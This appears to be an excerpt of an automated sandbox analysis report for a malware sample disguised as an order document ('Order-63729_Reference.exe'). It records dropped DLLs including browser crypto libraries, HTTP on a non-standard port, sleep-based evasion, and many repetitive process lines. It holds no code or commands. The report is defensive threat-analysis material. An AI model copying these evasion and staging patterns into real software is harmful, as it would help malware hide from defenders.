Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8030
Source: unknown	Network traffic detected: HTTP traffic on port 8030 -> 49736

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: EB0000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3269
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3676

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 5268	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3648	Thread sleep count: 3269 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3648	Thread sleep count: 3676 > 30
